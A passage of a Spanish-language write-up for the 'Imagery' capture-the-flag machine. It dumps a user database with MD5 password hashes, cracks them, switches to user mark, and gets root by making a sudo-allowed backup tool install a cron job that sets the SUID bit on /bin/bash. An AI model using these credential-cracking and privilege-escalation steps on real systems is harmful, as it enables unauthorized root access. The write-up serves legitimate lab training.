Si revisamos el archivo db.json, veremos que contiene más usuarios que el que vimos en la página web aplicando el LFI:
cat db.json
{
"users": [
{
"username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
"displayId": "f8p10uw0",
"isTestuser": false,
"isAdmin": true,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6",
"displayId": "8utz23o5",
"isTestuser": true,
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "mark@imagery.htb",
"password": "01c3d2e5bdaf6134cec0a367cf53e535",
"displayId": "868facaf",
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
},
{
"username": "web@imagery.htb",
"password": "84e3c804cf1fa14306f26f9f3da177e0",
"displayId": "7be291d4",
"isAdmin": true,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
}
]
...
Tenemos la contraseña en MD5 del usuario mark y web, que pertenecen a la máquina víctima.
Vamos a intentar crackearlas con Crackstation:
Tenemos las contraseñas.
Vamos a probar la del usuario mark:
web@Imagery:/var/backup$ cd /home/
web@Imagery:/home$ su mark
Password:
mark@Imagery:/home$ whoami
mark
Funcionó.
En su directorio, encontraremos la flag del usuario:
mark@Imagery:/home$ cd mark/
mark@Imagery:~$ ls
user.txt
mark@Imagery:~$ cat user.txt
...
Escalando Privilegios Abusando de Permisos Sudoers Sobre Binario charcol
Veamos qué privilegios tiene nuestro usuario:
mark@Imagery:~$ sudo -l
Matching Defaults entries for mark on Imagery:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcol
Podemos usar el binario charcol como Root.
No encontré información del binario charcol, pero al ejecutarlo, nos dice que es una herramienta CLI para crear archivos ZIP de copia de seguridad cifrados:
mark@Imagery:~$ sudo /usr/local/bin/charcol
░██████ ░██ ░██
░██ ░░██ ░██ ░██
░██ ░████████ ░██████ ░██░████ ░███████ ░███████ ░██
░██ ░██ ░██ ░██ ░███ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░███████ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██
░██████ ░██ ░██ ░█████░██ ░██ ░███████ ░███████ ░██
Charcol The Backup Suit - Development edition 1.0.0
Charcol is already set up.
To enter the interactive shell, use: charcol shell
To see available commands and flags, use: charcol help
mark@Imagery:~$ sudo /usr/local/bin/charcol help
usage: charcol.py [--quiet] [-R] {shell,help} ...
Charcol: A CLI tool to create encrypted backup zip files.
positional arguments:
{shell,help} Available commands
shell Enter an interactive Charcol shell.
help Show help message for Charcol or a specific command.
options:
--quiet Suppress all informational output, showing only warnings and errors.
-R, --reset-password-to-default
Reset application password to default (requires system password verification).
Vamos a usar el comando shell para entrar en el CLI de charcol:
mark@Imagery:~$ sudo /usr/local/bin/charcol shell
░██████ ░██ ░██
░██ ░░██ ░██ ░██
░██ ░████████ ░██████ ░██░████ ░███████ ░███████ ░██
░██ ░██ ░██ ░██ ░███ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░███████ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██
░██████ ░██ ░██ ░█████░██ ░██ ░███████ ░███████ ░██
Charcol The Backup Suit - Development edition 1.0.0
[2025-10-04 08:09:59] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol>
Si usamos el comando help de charcol, veremos cómo es su uso, pero hay una forma que nos permite ejecutar comandos, metiéndolos dentro de una tarea CRON:
Automated Jobs (Cron):
auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
Purpose: Add a new automated cron job managed by Charcol.
Entonces, podemos crear una tarea CRON que le dé permisos SUID a la Bash.
Vamos a intentarlo, escribe el siguiente comando:
charcol> auto add --schedule "* * * * *" --command "chmod u+s /bin/bash" --name "Privesc"
[2025-10-04 08:10:07] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:
[2025-10-04 08:10:23] [INFO] System password verified successfully.
[2025-10-04 08:10:23] [INFO] Auto job 'Privesc' (ID: fc56769c-f8ca-4d9d-8eac-d405d236d7da) added successfully. The job will run according to schedule.
[2025-10-04 08:10:23] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true chmod u+s /bin/bash
charcol>
Al ejecutarlo, te pedirá la contraseña del usuario mark y, al final, vemos que sí se creó la tarea CRON.
Sal de charcol y espera un minuto, luego revisa los permisos de la Bash:
charcol> exit
[2025-10-04 08:10:28] [INFO] Exiting Charcol shell.
mark@Imagery:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1474768 Oct 26 2024 /bin/bash
Funcionó.
Ejecutemos la Bash con privilegios:
mark@Imagery:~$ bash -p
bash-5.2# whoami
root
Ya somos Root.
Obtengamos la última flag:
bash-5.2# cd /root
bash-5.2# ls
chrome.deb root.txt
bash-5.2# cat root.txt
...
Y con esto, terminamos la máquina.
Links de Investigación
- https://backtrackacademy.com/articulo/xss-capturando-cookies-de-sesion
- https://owasp.org/www-community/attacks/Path_Traversal
- https://www.revshells.com/
- https://techbrunch.github.io/patt-mkdocs/Command%20Injection/#bypass-without-space
- https://crackstation.net/
- https://github.com/marcobellaccini/pyAesCrypt